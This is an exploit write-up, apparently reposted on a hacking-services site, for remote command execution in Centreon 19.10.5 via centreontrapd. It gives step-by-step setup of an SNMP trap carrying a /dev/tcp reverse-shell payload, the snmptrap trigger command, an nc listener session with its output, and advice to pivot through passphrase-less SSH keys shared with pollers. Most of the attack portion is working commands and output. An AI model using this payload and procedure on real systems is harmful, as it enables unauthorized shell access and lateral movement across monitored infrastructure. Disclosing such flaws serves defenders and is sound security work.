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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Centreon 19.10.5 - 'centreontrapd' Remote Command Execution 
# Date: 2020-01-29
# Exploit Author: Fabien AUNAY, Omri Baso
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7
# CVE : -

###########################################################################################################
Centreon 19.10.5 Remote Command Execution centreontrapd

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.

It is possible to get a reverse shell with a snmp trap and gain a pivot inside distributed architecture.


Steps:
Objective 1 : Create a SNMP trap or use linkDown OID with special command in action 3
Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy
Objective 3 : Assign service trap relation
Objective 4 : Get centreon id reverse shell

###########################################################################################################

# Objective 1 : Create or use SNMP trap OID with special command in action 3
- Configuration  >  SNMP Traps

[+] Trap name *     : linkDown
[+] OID *        : .1.3.6.1.6.3.1.1.5.3
[+] Special Command    : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121


# Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy
- Configuration  >  Services  >  Services by host

[+] Description *        : TRAP RCE
[+] Linked with Hosts *        : YOUR-LINKED-HOST
[+] Check Command *        : App-Monitoring-Centreon-Service-Dummy
[+] DUMMYSTATUS            : 0
[+] DUMMYOUTPUT            : 0
[+] Passive Checks Enabled     : YES
[+] Is Volatile            : YES
[+] Service Trap Relation    : Generic - linkDown


# Objective 3 : Assign service trap relation
- Configuration  >  SNMP Traps
- linkDown
- Relations

[+] Linked services        : YOUR-LINKED-HOST - SERVICE DESCRIPTION

reload Central
Reload snmp config


# Objective 4 : Get centreon id reverse shell and think lateral

[+] Send your trap
snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2

TIP: centreontrapd logfile:
2020-01-29 02:52:33 - DEBUG - 340 - Reading trap.  Current time: Wed Jan 29 02:52:33 2020
2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (DISMAN-EVENT-MIB::sysUpTimeInstance).  Will attempt to translate to a numerical OID
2020-01-29 02:52:33 - DEBUG - 340 -   Translated to .1.3.6.1.2.1.1.3.0
2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (SNMPv2-MIB::snmpTrapOID.0).  Will attempt to translate to a numerical OID
...
2020-01-29 02:52:33 - DEBUG - 340 - Trap found on service 'TRAP RCE' for host 'supervision_IT'.
...
2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launch specific command
2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launched command: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121
..


NOTE: Read the doc !!!
https://documentation-fr.centreon.com/docs/centreon/fr/latest/administration_guide/poller/ssh_key.html?highlight=keygen

The centreon id user shares configurations and instructions with satellite collectors trough SSH.
No passphrase used.
This allows you to move around the infrastructure after your RCE.


POC:

snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2

nc -lvnp 12345
Ncat: Version 7.50
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:38470.
id
uid=997(centreon) gid=994(centreon) groups=994(centreon),48(apache),990(centreon-engine),992(centreon-broker)
sudo -l
Matching Defaults entries for centreon on centreonlab:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty

User centreon may run the following commands on centreonlab:
    (root) NOPASSWD: /sbin/service centreontrapd start
    (root) NOPASSWD: /sbin/service centreontrapd stop
    (root) NOPASSWD: /sbin/service centreontrapd restart
    (root) NOPASSWD: /sbin/service centreontrapd reload
    (root) NOPASSWD: /usr/sbin/service centreontrapd start
    (root) NOPASSWD: /usr/sbin/service centreontrapd stop
    (root) NOPASSWD: /usr/sbin/service centreontrapd restart
    (root) NOPASSWD: /usr/sbin/service centreontrapd reload
    (root) NOPASSWD: /sbin/service centengine start
    (root) NOPASSWD: /sbin/service centengine stop
    (root) NOPASSWD: /sbin/service centengine restart
    (root) NOPASSWD: /sbin/service centengine reload
    (root) NOPASSWD: /usr/sbin/service centengine start
    (root) NOPASSWD: /usr/sbin/service centengine stop
    (root) NOPASSWD: /usr/sbin/service centengine restart
    (root) NOPASSWD: /usr/sbin/service centengine reload
    (root) NOPASSWD: /bin/systemctl start centengine
    (root) NOPASSWD: /bin/systemctl stop centengine
    (root) NOPASSWD: /bin/systemctl restart centengine
    (root) NOPASSWD: /bin/systemctl reload centengine
    (root) NOPASSWD: /usr/bin/systemctl start centengine
    (root) NOPASSWD: /usr/bin/systemctl stop centengine
    (root) NOPASSWD: /usr/bin/systemctl restart centengine
    (root) NOPASSWD: /usr/bin/systemctl reload centengine
    (root) NOPASSWD: /sbin/service cbd start
    (root) NOPASSWD: /sbin/service cbd stop
    (root) NOPASSWD: /sbin/service cbd restart
    (root) NOPASSWD: /sbin/service cbd reload
    (root) NOPASSWD: /usr/sbin/service cbd start
    (root) NOPASSWD: /usr/sbin/service cbd stop
    (root) NOPASSWD: /usr/sbin/service cbd restart
    (root) NOPASSWD: /usr/sbin/service cbd reload
    (root) NOPASSWD: /bin/systemctl start cbd
    (root) NOPASSWD: /bin/systemctl stop cbd
    (root) NOPASSWD: /bin/systemctl restart cbd
    (root) NOPASSWD: /bin/systemctl reload cbd
    (root) NOPASSWD: /usr/bin/systemctl start cbd
    (root) NOPASSWD: /usr/bin/systemctl stop cbd
    (root) NOPASSWD: /usr/bin/systemctl restart cbd
    (root) NOPASSWD: /usr/bin/systemctl reload cbd